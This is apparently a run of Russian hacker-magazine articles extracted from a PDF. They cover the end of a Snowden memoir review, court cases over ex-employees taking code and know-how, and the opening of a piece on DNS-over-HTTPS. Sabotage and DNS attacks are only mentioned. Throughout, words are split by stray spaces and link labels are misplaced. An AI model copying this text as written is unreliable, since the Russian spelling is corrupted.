вмес те  про вели  на  встре чу  с  пред ста вите лями ФСБ. Они пытались  убе дить
Сно уде на посот рудни чать с ними, но он с самого начала знал, что речь зай‐ 
дет об этом, и отка зывал ся. Тог да они выложи ли кар ты на стол: пока самолет
со  Сно уде ном  летел  из  Гон конга  в  Мос кву,  аме рикан ский  Гос депар тамент
отоз вал  его  пас порт.  Воль но  или  неволь но,  но  имен но  аме рикан ское  пра‐ 
витель ство вынуди ло Сно уде на остать ся в Рос сии — уехать он не мог.

Пе репо лох в Шереметь еве

Боль ше  месяца  он  сидел  в  Шереметь еве,  осаж даемый  жур налис тами.
Это соз давало всем мас су неудобств и даже выз вало допол нитель ный меж‐ 
дународ ный  скан дал  —  самолет  пре зиден та  Боливии  Эво  Морале са,  при‐ 
летав шего  в  Мос кву  на  кон ферен цию  по  воп росам  экспор та  газа,
на  обратном  пути  был  при нуди тель но  посажен  в  Авс трии,  пос коль ку  аме‐ 
рикан цы подоз ревали, что Сно уден может быть на бор ту. Но его там не было.

В  кон це  кон цов  рос сий ские  влас ти  выписа ли  Сно уде ну  раз решение
на вре мен ное пре быва ние в Рос сии.

Раз лука и встре ча
Тем  вре менем  в  Аме рике  думала,  что  же  ей  делать,  Лин дси.  Сно уден  при‐ 
водит отрывки из ее днев ника за июнь и июль, из которых ста новит ся понят‐ 
но,  что она  узна ла о  про изо шед шем  толь ко 9  июня —  ког да Сно уден опуб‐ 
ликовал свое виде ооб ращение. Все это вре мя она нер вни чала и пережи вала,
а  ее  уже  осаж дали  аген ты  АНБ,  которые  сна чала  иска ли  про пав шего  сот‐ 
рудни ка  и  не  мог ли  ей  ничего  предъ явить,  но  отча янно  упра шива ли  посот‐ 
рудни чать с ними доб роволь но.

У  Лин дси  была  луч шая  под руга  Сан дра.  Мать  Сан дры  Эйлин  обла дала
нес гиба емым  харак тером,  а  так же  некото рыми  свя зями  сре ди  мес тных
полити ков  в  рай оне  города Сан‐Диего.  Решив,  что  будет  защищать Лин дси
от  назой ливых  аген тов,  она  не  толь ко  наш ла  ей  юрис та,  но  и  рас ска зала
девуш ке  Сно уде на,  как  поль зовать ся  одно разо выми  телефо нами,  лихо
водила машину,  пыта ясь  уйти  от  сле дующих  за  ними  чер ных  джи пов,  и  убе‐ 
дила Лин дси снять со сво их бан ков ских сче тов все день ги. Эйлин говори ла,
что все му это му ее научил труд ный раз вод.

Аген ты доп рашива ли Лин дси и пытались узнать, не скрыт ли в их перепис‐ 
ке со Сно уде ном какой‐нибудь код. Они ходили за ней даже в магазин одеж‐ 
ды и убеж дали, что дела ют все это ради ее же безопас ности. В новос тях и в
интерне те  о  ней  рас простра няли  гряз ные  сплет ни.  Но  ком пания  под руг
и матери Сно уде на помога ла ей дер жать ся, и советы Эйлин ока зались дос‐ 
таточ но хороши, что бы прес са потеря ла ее из виду.

Зи мой 2014  года Лин дси при лете ла  к Сно уде ну  в Мос кву. Сно уден ждал
этой  встре чи  с  тре вогой  —  он  пережи вал,  что  пло хо  пос тупил  с  Лин дси,
и думал, что ког да она его встре тит, то нада ет ему пощечин. Но вмес то это го
она оста лась с ним в Мос кве и ста ла вытас кивать его из квар тиры на про гул‐ 
ки.  Она  выучи ла  рус ский  язык  даже  луч ше,  чем  Сно уден.  В  2017  году  они
пожени лись в мос ков ском ЗАГ Се.

ПОСЛЕ БАЛА
Что же было потом? И каковы ока зались ито ги разоб лачений Сно уде на? Если
тебе кажет ся, что ничего не изме нилось, то это не так — и вот при меры.

На вол не пуб лично го воз мущения кор порации ста ли внед рять в свои про‐ 
дук ты хоть какое‐то, но шиф рование. Пока раз ведка давила на них втай не,
они были вынуж дены под чинять ся, но, ког да у них появи лась воз можность
опе реть ся на пуб личное мне ние, им ста ло лег че про тивос тоять невыгод‐ 
ным для себя усло виям.

•

В интерне те вырос ло чис ло сай тов, исполь зующих HTTPS вмес то незащи‐ 
щен ного HTTP, и в 2016 году зашиф рован ного тра фика наконец‐то ста ло
боль ше, чем незашиф рован ного.

•

В Евро пе при няли закон  .• GDPR

Ины ми сло вами, люди дей стви тель но ста ли чаще задумы вать ся о сво ей при‐ 
ват ности. А с рос том инте реса и спро са на такие тех нологии рас тет и пред‐ 
ложение.

Сно уден  воз гла вил  неком мерчес кую  орга низа цию 
,  в  которой  работа ет  вмес те  с жур налис тами,  поведав шими миру

его  исто рию,  и  мно гими  дру гими  дос той ными  людь ми.  Они  под держи вают
незави симую жур налис тику, помога ют дру гим разоб лачите лям и раз рабаты‐ 
вают  тех ничес кие  средс тва,  облегча ющие  подоб ную  деятель ность.  Нап‐ 
ример, раз работан ная ими прог рамма   поль зует ся популяр ностью
у мно гих новос тных агентств и дает воз можность передать информа цию, сох‐ 
раняя ано ним ность отпра вите ля.

Freedom  of  the  Press
Foundation

SecureDrop

Но,  как мы все прек расно зна ем, проб лема при ват ности и сбо ра дан ных
в  интерне те  не  ухо дит  в  прош лое,  а  лишь  ста новит ся  акту аль нее  с  каж дым
днем.  Те  средс тва,  что  ког да‐то  были  дос тупны  лишь  раз ведыва тель ным
агентствам, ныне исполь зуют ся кор пораци ями — которые вдо бавок ко всем
недос таткам  раз ведок  еще  и  дви жимы  жаж дой  наживы.  Нас  окру жают  мно‐ 
гочис ленные  огромные  сис темы,  которые  не  толь ко  собира ют  о  нас
информа цию,  но  и  при нима ют  на  ее  осно ве  какие‐то  решения. И  ког да  эти
сис темы оши бают ся — или наобо рот,  ког да они работа ют с бес человеч ной
точ ностью, сле по повину ясь любым заложен ным в них пра вилам, — пос ледс‐ 
твия ложат ся не на сис тему, а на нас, обыч ных людей.

Од нако  при мер  Эдварда  Сно уде на  показы вает,  что  человек  может  про‐ 
тивос тоять сис теме. Что высокие иде алы мож но сочетать с высочай шим про‐ 
фес сиона лиз мом.  Что  в мире  по‐преж нему  есть мес то  ста ромод ной  хакер‐ 
ской роман тике. Информа ция хочет быть сво бод ной. Сиг нал не оста новить.
«Май ор пос коль знет ся, май ор упа дет».

Вот о чем его кни га. О том, что Сис темы окру жают нас пов сюду. О том, что
они  уяз вимы  и  нуж дают ся  в  людях,  доб росовес тно  дела ющих  свое  дело.
О том, что необ ходимо задавать ся философ ски ми воп росами и точ но так же
необ ходимо раз бирать ся в тех ничес ких под робнос тях. И все это при годит ся
тебе, если при дет ся выбирать, какое мес то в какой сис теме занимать.

Пусть  эта  статья  и  кни га  Сно уде на  помогут  тебе  сде лать  пра виль ный
выбор.

https://www.huffpost.com/entry/cia-gus-hunt-big-data_n_2917842
https://www.youtube.com/watch?v=edP95iJWVBI
https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B9%D1%82%D1%80%D0%B0%D1%81,_%D0%9B%D0%BE%D1%80%D0%B0
https://xakep.ru/2016/11/01/tails-live-flash/
https://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%BF%D0%B0%D1%82%D0%B8
https://ru.wikipedia.org/wiki/%D0%94%D0%BE%D0%BA%D0%B0%D0%B7%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D1%81%D1%82%D0%B2%D0%BE_%D1%81_%D0%BD%D1%83%D0%BB%D0%B5%D0%B2%D1%8B%D0%BC_%D1%80%D0%B0%D0%B7%D0%B3%D0%BB%D0%B0%D1%88%D0%B5%D0%BD%D0%B8%D0%B5%D0%BC
https://en.wikipedia.org/wiki/Tailored_Access_Operations
https://ru.wikipedia.org/wiki/XKeyscore
https://www.youtube.com/watch?v=5yB3n9fu-rM
https://ru.wikipedia.org/wiki/%D0%9F%D0%B0%D1%81%D0%BF%D0%BE%D1%80%D1%82_%D0%9E%D0%9E%D0%9D
https://en.wikipedia.org/wiki/General_Data_Protection_Regulation
https://en.wikipedia.org/wiki/Freedom_of_the_Press_Foundation
https://en.wikipedia.org/wiki/SecureDrop
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ПРИВАТНОСТЬ

Ры ба  ищет,  где  глуб же,  а  человек  —  где
луч ше  пла тят  и  пред лага ют  более  прив‐ 
лекатель ные  усло вия  тру да. Прог раммис ты
час то  меня ют  ком панию‐нанима теля
и  порой  уно сят  с  собой  из  ста рого  офи са
не  толь ко  авто руч ку  или  любимую  круж ку
с  кор поратив ной  сим воликой,  но  так же
кое‐какие  собс твен ные  наработ ки,  что
не может не выз вать недоволь ства их быв‐ 
ших руково дите лей. Иног да это ста новит ся
при чиной судеб ных раз биратель ств и даже
уго лов ного  прес ледова ния  быв ших  сот‐ 
рудни ков.  О  пра вовых  аспектах  подоб ных
инци ден тов — сегод няшняя статья.

ВВЕДЕНИЕ
Как мы зна ем из  , меж ду ком пани ями «Аль тЭль» и «НумаТех» про изо шел
кон фликт. Суть его такова: быв шие сот рудни ки «Аль тЭль» во гла ве с быв шим
генераль ным дирек тором этой же ком пании соз дали «НумаТех» и (по вер сии
пред ста вите лей «Аль тЭль») под видом прог рам мных про дук тов собс твен ной
раз работ ки офор мили в Рос патен те  государс твен ную регис тра цию на прог‐ 
рам мное обес печение «Аль тЭль».

СМИ

Это далеко не пер вый слу чай в Рос сии,  ког да две орга низа ции кон флик‐ 
туют  из‐за  тру довой  деятель нос ти  быв ших  сот рудни ков  одной  из  них,
перешед ших в дру гую: вспом ним, нап ример, судеб ный спор меж ду НПЦ маг‐ 
нитной гид родина мики и ООО «УНИ МЕТ», в котором НПЦ пытал ся прив лечь
к ответс твен ности ком панию за деятель ность ее ген дирек тора Е. А. Пав лова,
ранее работав шего в Цен тре руково дите лем про ектов. Экс‐руково дитель (по
мне нию НПЦ) нарушил пра ва Цен тра на сек реты про изводс тва (ноу‐хау).

INFO

С  деталя ми  это го  раз биратель ства  более  под‐ 
робно мож но озна комить ся  , а детали, каса‐ 
ющиеся ноу‐хау в целом, изло жены в  .

здесь
этой статье

Боль ше все го обра щает на себя вни мание в этом спо ре то, что кон фликт пов‐ 
лек  за  собой  воз бужде ние  уго лов ного  дела  по  ,  а  вот
это уже серь езно.

ч.  1  ст.  146  УК  РФ

Воз бужде ние  уго лов ного  дела  в  Рос сии  по  такой  статье  УК  —  явле ние
отно ситель но  ред кое,  а  по  час ти  наруше ния  автор ских  прав  на  при над‐ 
лежащий  работо дате лю  прог рам мный  код  и  подав но  (в  этом  кон тек сте
не  берем  во  вни мание  дела,  свя зан ные  с  нелегаль ной  раз дачей  соф та
на тор рент‐тре керах и подоб ным). Так что сто ит сле дить за новос тями по это‐ 
му спо ру, а пока давай нем ного погово рим о том, что вооб ще пред став ляет
собой  наруше ние  прав  работо дате ля  на  прог рам мный  код,  какие  были
релеван тные  судеб ные  (не  уго лов ные)  дела,  свя зан ные  с  соф том,  базами
дан ных, и на что в подоб ных слу чаях сто ит обра щать вни мание.

КОНФЛИКТЫ ИЗ-ЗА ПРОГРАММНОГО КОДА
Та кие  кон флик ты  воз ника ют  доволь но  час то,  и  думаю,  каж дый  назовет
два‐три подоб ных при мера из собс твен ного опы та либо опы та близ ких зна‐ 
комых.  Порой  такие  кон флик ты  заходят  даль ше  вза имных  пре тен зий
и  переме щают ся  в  судеб ную  плос кость.  Пред лагаю  озна комить ся  с  рядом
слу чаев, где спо ры решались как раз в суде.

АИ ИС КУЭ
В 2010 году ООО «Сенал» подало в суд на сво его быв шего работ ника. Сот‐ 
рудник  (Б. О.) раз работал прог рам мное обес печение АИИС КУЭ и веб‐при‐ 
ложе ние  АИИС  КУЭ.  4  июня  2010  года  он  был  уво лен  по  собс твен ному
желанию. В свя зи с уволь нени ем ему пос тупило рас поряже ние передать свои
раз работ ки, соп роводи тель ную докумен тацию и исходные коды соз данных им
слу жеб ных прог рам мных про дук тов. Исходные коды и пол ная соп роводи тель‐ 
ная  докумен тация  переда ны  не  были  —  как  сооб щил  Б.  О.,  он  их  уда лил
и отформа тиро вал диск на сво ем рабочем компь юте ре слу чай но, но писать
объ ясни тель ную запис ку по это му поводу отка зал ся.

15 июля 2010 года прог рам мное обес печение АИИС КУЭ, раз работан ное
Б.  О.,  перес тало  нор маль но  фун кци они ровать.  Про вер ка  при чин  выяс нила:
прог рамма работа ет толь ко до 14.06.2010, пос коль ку ее соз датель намерен‐ 
но  сде лал  так,  что бы  пос ле  этой  даты  про дукт  перес тал  выпол нять  свою
основную фун кцию.

Суд приз нал,  что исклю читель ное пра во на  ука зан ное ПО дей стви тель но
при над лежит ООО «Сенал» как работо дате лю ответчи ка.

Суд так же при нял в качес тве доказа тель ства акт экспер тизы жес тко го дис‐ 
ка, сос тавлен ный спе циаль ной комис сией для рас сле дова ния фак та исчезно‐ 
вения с пер сональ ного компь юте ра Б. О. исходных кодов и соп роводи тель‐ 
ной докумен тации соз данно го им ПО. Сог ласно акту, этот вин честер был раз‐ 
бит  на  три  раз дела  (на  пер вом  сто яла Windows;  два  дру гих  не  име ли  фай‐ 
ловой сис темы, что не поз воляло получить пря мой дос туп к фай лам и пап кам
поль зовате ля).  Для  получе ния  фай лов  с  раз делов  2  и  3  было  необ ходимо
вос поль зовать ся сто рон ним ПО для вос ста нов ления дан ных.

С помощью демовер сий прог рамм GetDataBack, EasyRecovery и R‐Studio
Network  Edition  жес ткий  диск  был  прос каниро ван,  и  на  нем  обна ружи лись
ссыл ки  на  необ ходимые  фай лы.  Это  поз волило  пред положить,  что  фай лы
ранее  хра нились  на  компь юте ре,  а  затем  были  с  него  уда лены,  вос ста нов‐ 
ление фай лов невоз можно.

Суд, при нимая во вни мание спе цифи ку уда ления прог раммы с компь юте‐ 
ра в целом, спе циаль ные поз нания Б. О. в этой области и пред при нятые им
дей ствия (уста нов ка пос ледней даты исполь зования прог рам мно го про дук та
без  ука заний  на  это  работо дате ля),  при шел  к  выводу  об  умыш ленном  при‐ 
чине нии Б. О. ущер ба ООО «Сенал». Раз мер ущер ба (179 тысяч руб лей) был
рас счи тан исхо дя из объ ема работ, свя зан ных с соз дани ем прог раммы. Суд
обя зал быв шего сот рудни ка воз местить ООО «Сенал» такой ущерб.

«1С:Пред при ятие»
9  апре ля  2012  года  Завод ский  рай онный  суд  г.  Кемеро во  вынес  при говор,
по которо му обви няемый был приз нан винов ным по ч. 1 

.
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равомер ный дос туп к компь ютер ной информа ции»
Суд  уста новил,  что  в  июле  2011  года  граж данин  из  сво его  дома  неп‐ 

равомер но  зашел  на  сер вер  сво его  работо дате ля.  Затем  он  уда лил  отту да
прог рамму  «1С:Пред при ятие»,  а  так же  базы  дан ных  бух галтер ско го  уче та
за пери од с 2007 по 2011 год. В резуль тате такие дан ные на сер верах трех
под разде лений хол динго вой ком пании из дру гого города были унич тожены.

Ре шение  суда:  наказа ние  в  виде  шес ти  месяцев  испра витель ных  работ
условно с испы татель ным сро ком шесть месяцев.

OpenSky-2 и Meridian
В  Реги ональ ном  информа цион но‐вычис литель ном  цен тре  «Пул ково»  была
раз работа на  компь ютер ная  прог рамма OpenSky‐2.  Частью  этой  прог раммы
был  модуль  Alerts.  Дру гая  ком пания  —  ООО  «Аэро нави гатор»  —  пра вооб‐ 
ладатель  прог раммы  Meridian.  Обе  ком пании  получи ли  сви детель ства
о государс твен ной регис тра ции сво их прог рамм для ЭВМ.

Од ним из соав торов OpenSky‐2 ока зал ся некий граж данин С. А. Сорокин,
работав ший в тот пери од в РИВЦ «Пул ково». При меча тель но, что впос ледс‐ 
твии  он  перешел  работать  в  ком панию  «Аэро нави гатор»,  где  стал  одним
из авто ров прог раммы Meridian. РИВЦ «Пул ково» ситу ация с Meridian не пон‐ 
равилась,  и  Центр  подал    к  «Аэро нави гато ру»  со  сле дующи ми  тре бова‐ 
ниями:

иск

приз нать наруша ющи ми исклю читель ное пра во истца на прог рамму Open‐
Sky‐2  дей ствия  ответчи ка  по  исполь зованию  исходно го  тек ста  модуля
Alerts  в  сос таве  прог раммы Meridian,  а  так же  пре дос тавле ние  исходно го
тек ста Alerts в Рос патент;

•

взыс кать 5 мил лионов руб лей ком пенса ции;•
ан нулиро вать  сви детель ство  о  государс твен ной  регис тра ции  прог раммы
Meridian.

•

Бы ла  наз начена  судеб ная  экспер тиза,  что бы  опре делить  сте пень  иден‐ 
тичнос ти фраг ментов исходных кодов прог рамм OpenSky‐2 и Meridian.

Сог ласно зак лючению экспер та, при ана лизе фраг ментов исходных кодов
прог рам мных  про дук тов  OpenSky‐2  и  Meridian  было  уста нов лено  раз личие
(две  стро ки)  в  наиме нова нии  вет ки  реес тра,  исполь зующей ся  для  хра нения
нас тро ек,  опре деля ющих  методы  фун кци они рова ния  прог раммы.  В  резуль‐ 
тате  иссле дова ния  исходных  кодов  OpenSky‐2  и  Meridian  уста нов лено,  что
прог рамма Meridian пол ностью иден тична OpenSky‐2.

В  ито ге  суд  приз нал  дей ствия  ответчи ка  (вклю чив шего  исходный  текст
модуля Alerts в сос тав прог раммы Meridian и пре дос тавив шего его исходный
текст  в  Рос патент)  наруше нием  интеллек туаль ных  прав  РИВЦ  «Пул ково»
с  наз начени ем  вып латы  ком пенса ции  в  раз мере 500  тысяч  руб лей  в  поль зу
истца.

«Апте ка‑Урал» и QuartFarm
ООО «Аурит» при над лежали пра ва на прог рам мный ком плекс для авто мати‐ 
зации  аптечных  пред при ятий  «Апте ка‐Урал».  Дру гая  ком пания  —  ООО
«Кварт» — обла дала исклю читель ным пра вом на сис тему для авто мати зации
фар мацев тичес ких  пред при ятий  QuartFarm.  Обе  эти  компь ютер ные  прог‐ 
раммы  были  зарегис три рова ны  в  государс твен ном  реес тре  прог рамм
для ЭВМ. Соав торами QuartFarm  зна чились М.  А.  Кор кунов, М.  В. Фёдоров
и П. А. Раз бой ников —  .быв шие работ ники ООО «Аурит»

ООО «Аурит» пос читало, что прог рамма QuartFarm — это перера ботан ная
вер сия их собс твен ной прог раммы «Апте ка‐Урал». Пос коль ку меж ду ком пани‐ 
ями  не  было  никаких  договор ных  отно шений  по  исполь зованию  «Апте‐ 
ки‐Урал»  для  подоб ных  целей,  ООО  «Аурит»  подало  иск  в  суд  на  ООО
«Кварт».

В  этом  деле  так же  не  обош лось  без  судеб ной  экспер тизы,  резуль татом
которой был сле дующий вывод: прог рамма QuartFarm не тож дес твен на прог‐ 
рамме  «Апте ка‐Урал»,  но  прог рамма  QuartFarm  —  резуль тат  перера бот ки
«Апте ки‐Урал».

Суд  приз нал  факт  наруше ния  исклю читель ных  прав  ООО  «Аурит»,  зап‐ 
ретив рас простра нять и исполь зовать QuartFarm, приз нав недей стви тель ной
государс твен ную регис тра цию этой прог раммы и пос тановив вып латить ком‐ 
пенса цию в раз мере 500 тысяч руб лей.

INFO

Бо лее пол ную под борку при меров судеб ных раз‐ 
биратель ств в Рос сии в отно шении соф та мож но
най ти, нап ример,  .здесь

КОНФЛИКТЫ ИЗ-ЗА БАЗ ДАННЫХ И НОУ-ХАУ
До  судов  доходят  и  спо ры  о  неп равомер ном  исполь зовании  баз  дан ных.
Один из таких при меров я при веду ниже.

Ба за дан ных мар шру тов wikiroutes.info
ООО «Викирутс» в 2016 году ста ло пра вооб ладате лем базы дан ных мар шру‐ 
тов wikiroutes.info.  А  граж данин А.  Е. Цуканов обла дал исклю читель ным пра‐ 
вом  на  базу  дан ных  «Рас писание  общес твен ного  тран спор та  GoOnBas.ru»
(дата  государс твен ной  регис тра ции  в  реес тре  баз  дан ных  4  апре‐ 
ля 2018 года).

ООО «Викирутс», полагая, что Цуканов несан кци они рован но извлек копию
базы дан ных мар шру тов wikiroutes.info и исполь зовал ее для рас простра нения
информа ции о дви жении тран спор та на сво ем сай те с целью получе ния при‐ 
были, подало на него в суд.

На помощь суду сно ва приш ли экспер ты. Сог ласно выводам экспер тизы,
база дан ных, исполь зуемая на сай те  , и база дан ных с сай та

  по  типу  визу аль ного  пред став ления  информа ции  (мно‐ 
гоуров невые  спис ки),  напол нению  (харак терис тики  мар шру тов,  пос ледова‐ 
тель ность  изло жения  дан ных)  схо жи  до  сте пени  сме шения,  так  как  пер вая
упо мяну тая база явля ется перера бот кой вто рой.

https://goonbus.ru
https://wikiroutes.info

На осно вании матери алов дела и имев шихся доказа тель ств суд уста новил:
база дан ных мар шру тов wikiroutes.info — это база дан ных по смыс лу 

,  а  доказа тель ств  наличия  у  ответчи ка  лицен зии,  догово ра
или  ино го  раз решения  пра вооб ладате ля  на  исполь зование  спор ной  базы
по тран спортным мар шру там не было пред став лено.
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Так же Цуканов не пред ста вил  убе дитель ных доказа тель ств  того,  что све‐ 
дения о мар шру тах для напол нения сво ей базы он получил из иных источни‐ 
ков, помимо  .https://wikiroutes.info

В  ито ге  суд  вынес  решение  прек ратить  незакон ное  исполь зование
Цукано вым базы дан ных «Мар шру ты wikiroutes.info», а так же обя зал его вып‐ 
латить истцу 100  тысяч руб лей  ком пенса ции за наруше ние прав на эту базу
дан ных.

Ноу‐хау (или, дру гими сло вами, сек рет про изводс тва) — самос тоятель ный
объ ект автор ских прав, который тес но свя зан с режимом ком мерчес кой тай‐ 
ны. Нес мотря на то что сле дующий при мер не про прог рам мный код или базу
дан ных,  в  теории и  то и  дру гое  впол не может быть  сек ретом про изводс тва.
Подоб ных судеб ных дел мно го, пред лагаю обра тить вни мание на одно из них.

Па рокон денсат ные сис темы
Один  из  сот рудни ков  ком пании  «Спи ракс‐Сар ко  Инжи ниринг»  во  вре мя
работы  в  ней  узнал  ноу‐хау  парокон денсат ных  сис тем.  Потом  он  уво лил ся,
учре дил  свою  ком панию,  стал  про давать  про дукт  на  осно ве  это го  сек рета
про изводс тва,  опуб ликовал  на  сай те  сво ей  ком пании  чер тежи.  Ком пания
«Спи ракс‐Сар ко Инжи ниринг» пос читала, что этот товарищ нарушил ее пра ва
на ноу‐хау, и подала на него в суд.

Од нако суд вынес решение в поль зу сот рудни ка. При чина сле дующая: хотя
ком пания  и  вве ла  режим  ком мерчес кой  тай ны  у  себя  на  пред при ятии,  под‐ 
готови ла нуж ные локаль ные нор матив ные акты, но в сос таве кон фиден циаль‐ 
ных  све дений  отсутс тво вали  наз вания  агре гатов  и  чер тежей  (в  том  чис ле
и  тех,  что  были  опуб ликова ны  быв шим  сот рудни ком  на  сай те  сво ей  ком‐ 
пании). Поэто му истец не смог доказать,  что сек рет парокон денсат ных сис‐ 
тем  был  ком мерчес кой  тай ной.  А  при  отсутс твии  доказа тель ства  сот рудник
не счи тает ся нарушив шим пра ва ком пании на объ екты такой тай ны.

ИНЫЕ КОНФЛИКТЫ
По нят но, что в рам ках одной статьи не охва тить всех судеб ных раз биратель‐ 
ств  и  иных  кон флик тов,  пус кай  и  не  дошед ших  до  суда  (тем  более  если мы
говорим не толь ко о рос сий ских реалиях). Но если тебе инте рес на эта тема
и хочет ся узнать боль ше деталей, рекомен дую пот ратить свое вре мя на изу‐ 
чение сле дующих исто рий.

.
• Суд по иску Waymo к Uber в отно шении ком мерчес кой тай ны по бес пилот‐ 
ным авто моби лям

.
• Cуд по уго лов ному делу в отно шении исходно го кода и алго рит мов поис‐ 
ковой сис темы «Яндекса»

.
• Cуд  меж ду  ком пани ей  Two  Sigma  Investments  и  ее  быв шим  сот рудни ком
Каном Гао (Kang Gao) о кра же кон фиден циаль ной информа ции

.
• Cуд меж ду Microsoft и быв шим глав ным архи тек тором прог рам мно го обес‐ 
печения

.• Cуд по пре тен зиям Goldman Sachs к сво ему быв шему сот рудни ку

.
• Cуд  меж ду  «Лабора тори ей  Кас пер ско го»  и  ком пани ей  «Кибер секь юри ти
Солюшнс», соз данной быв шими сот рудни ками ЛК

.• Cуд по иску Tesla к быв шему сот рудни ку Гуан чжи Цао (Guangzhi Cao)
.• Cуд по иску Мамиче ва к сво ему работо дате лю Veeam Software

.
• Уго лов ное  дело  за  неп равомер ное  рас кры тие  исходно го  кода  «Лабора‐ 
тории Кас пер ско го»

.
• Об винения NSO Group к сво ему быв шему сот рудни ку о хищении им прог‐ 
рам мно го кода ком пании

.
• Кон фликт меж ду «Аско ном» и ком пани ей SDI Solution, соз данной быв шими
сот рудни ками «Аско на»

НАБЛЮДЕНИЯ И ВЫВОДЫ
На осно ве при веден ных мною при меров, да и дру гих кон флик тов, оставших ся
за рам ками статьи, мож но сде лать сле дующие наб людения и выводы.
1. Час то  кон флик ты  обус ловле ны  тем,  что  работ ники  не  очень  хорошо раз‐ 
бира ются,  какие  из  резуль татов  их  работы  счи тают ся  слу жеб ными  про‐ 
изве дени ями,  исклю читель ное  пра во  на  которые  при над лежит  работо‐ 
дате лю.

2. Раз берись,  что  будет  тво ей  лич ной  интеллек туаль ной  собс твен ностью,
а  что  из  резуль татов  тво его  тру да  при над лежит  работо дате лю.  Это  даст
понима ние, что мож но исполь зовать на дру гой работе или в лич ных про‐ 
ектах.

3. Уз най  у  работо дате ля,  что  явля ется  сек ретом  про изводс тва  (ноу‐хау),
на какие объ екты на пред при ятии рас простра няет ся режим ком мерчес кой
тай ны.

4. Ес ли  самос тоятель но  все  разуз нать  не  уда лось,  а  получить  разъ ясне ния
от  работо дате ля  тоже  не  вари ант  (либо  его  пояс нения  вызыва ют  сом‐ 
нения),  то сто ит обра тить ся к про филь ному юрис ту, что бы он помог тебе
разоб рать ся в собс твен ных пра вах и воз можных пос ледс тви ях дей ствий.

В Рос сии и за рубежом мно го при меров, ког да работо дате ли успешно прив‐ 
лекали к ответс твен ности сво их быв ших сот рудни ков за наруше ние ими прав
на свою интеллек туаль ную собс твен ность. Есть и при меры, ког да кон флик ты
соп ровож дались  уго лов ным  рас сле дова нием  с  наз начени ем  винов ным
наказа ния. Имей это в виду, осо бен но если ты пла ниру ешь осложнить жизнь
сво ему любимо му работо дате лю при ухо де и тем самым «отбла года рить» его
за все былые зас луги.
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ПРИВАТНОСТЬ

Ком пании Mozilla  и  Google  вкла дыва ют  мно го  сил  во  внед‐ 
рение  тех нологии  DoH  (DNS  поверх  HTTPS),  обе щая  поль‐ 
зовате лям повыше ние безопас ности и при ват ности. В Firefox
она  уже  вклю чена  по  умол чанию,  в  Chrome  ее  будут  тес‐ 
тировать в вер сии 79, и даже в Microsoft   внед рить
ее  в  Windows.  Но  при  этом  тех нологию  мно гие  кри тику ют,
а  Mozilla  за  свои  ста рания  получи ла  номина цию  на  зва ние
«интернет‐зло дея  года». Давай раз берем ся в нюан сах этой
исто рии.

обе щают

ШАТКАЯ СКРЕПА DNS
Для  поряд ка  и  связ ности  изло жения  крат ко  вспом ним  основные  понятия.
Сис тема домен ных имен   — одна из тех нологий, лежащих в самой осно‐ 
ве сов ремен ного интерне та. С ее помощью соот носят ся чис ловые IP‐адре са
и более удоб ные для челове ка домен ные име на. Она пос тро ена по прин ципу
иерар хичес кого вза имо дей ствия DNS‐сер веров.

DNS

Важ ный момент: раз рабаты валась эта сис тема еще в 1983 году, и поэто му
у  нее  есть  некото рые  проб лемы  с  безопас ностью.  Ведь  интернет  тог да,
как  извес тно,  был  сетью,  которая  свя зыва ла  аме рикан ские  науч ные и  воен‐ 
ные учрежде ния, и под клю чать к ней кого попало не пла ниро валось.

DNS‐зап рос и DNS‐ответ в базовом устрой стве сис темы

Ес ли вкрат це, то корень проб лемы в том, что базовая сис тема DNS при нима‐ 
ет  и  переда ет  любые  зап росы,  пос тупа ющие  в  нее.  Как  во  мно гих  дру гих
решени ях, которые появи лись на заре интерне та, защиты от зло наме рен ного
исполь зования здесь нет. В те вре мена счи талось, что глав ное — это прос‐ 
тота и мас шта биру емость.

В резуль тате появи лись раз ные методы атак на DNS‐сер веры (нап ример,
 или  ). Резуль тат  таких атак — перенап‐ 

равле ние  кли ент ских  бра узе ров  куда‐то,  куда  поль зовате ли  попадать
не собира лись.

от равле ние  кеша DNS пе рех ват DNS

Для борь бы с эти ми бедами   раз работал 
, который добавил к DNS‐зап росам под пись‐аутен‐ 

тифика цию на осно ве крип тогра фии с откры тым клю чом. Но раз рабаты вал ся
этот  набор  рас ширений  очень  дол го.  Проб лема  ста ла  оче вид ной  еще  в
начале  девянос тых,  нап равле ние  работы  над  проб лемой  опре дели ли
к  1993  году,  пер вую  вер сию DNSSEC  под готови ли  к  1997  году,  попыта лись
внед рить, ста ли вно сить изме нения...

Ин женер ный совет интерне та на‐ 
бор рас ширений DNSSEC

В общем, к 2005 году была соз дана вер сия, под ходящая для широко мас‐ 
штаб ного  исполь зования,  и  ее  начали  внед рять,  рас простра няя  по  зонам
интерне та и DNS‐сер верам цепоч ку клю чей доверия. Внед ряли тоже дол го —
нап ример, толь ко к мар ту 2011 года была под писана зона .com.

INFO

Ес ли  хочешь  под робнее  разоб рать ся,  от  каких
угроз  DNSSEC  дол жен  был  защитить  DNS,  то
можешь  почитать    об  ана лизе  угроз  того
самого  Инже нер ного  совета  интерне та
от  2004  года.  Как  пишут  его  авто ры,  спус тя
десять  лет  пос ле  начала  работ  нас тало  вре мя
отчи тать ся  о  том,  с  какими  проб лемами  и  как
имен но мы собира емся бороть ся.

док лад

Но DNSSEC реша ет толь ко часть проб лемы — он гаран тиру ет аутен тичность
и целос тность дан ных, но не их при ват ность. В борь бе за эту цель логич ным
средс твом  выс тупа ет  шиф рование.  Воп рос  в  том,  как  имен но  его  реали‐ 
зовать.

ВАРИАНТЫ ШИФРОВАНИЯ
Нес коль ко групп раз работ чиков пред ложили свои вари анты тех нологи чес ких
решений.  Сре ди  них  есть  те,  которые  исполь зуют  ори гиналь ные  спо собы
шиф рования,  нап ример    или  ,  в  котором  при меня ется

. Но решения, ока зав‐ 
шиеся в ито ге более популяр ными, опи рают ся на широко рас простра нен ный
про токол безопас ности  . Такими решени ями явля ются   (DNS over TLS)
и DoH, основной пред мет этой статьи.

DNSCrypt DNSCurve
шиф рование с исполь зовани ем эллипти чес ких  кри вых

TLS DoT

DoT,  как  и  сле дует  из  его  наз вания,  исполь зует  для  зашиф рован ной
переда чи  DNS‐зап росов  сам  про токол  TLS.  Это  вле чет  за  собой  сме ну
основных пор тов и про токо лов — вмес то UDP по пор ту 53 исполь зует ся TCP
по пор ту 853.

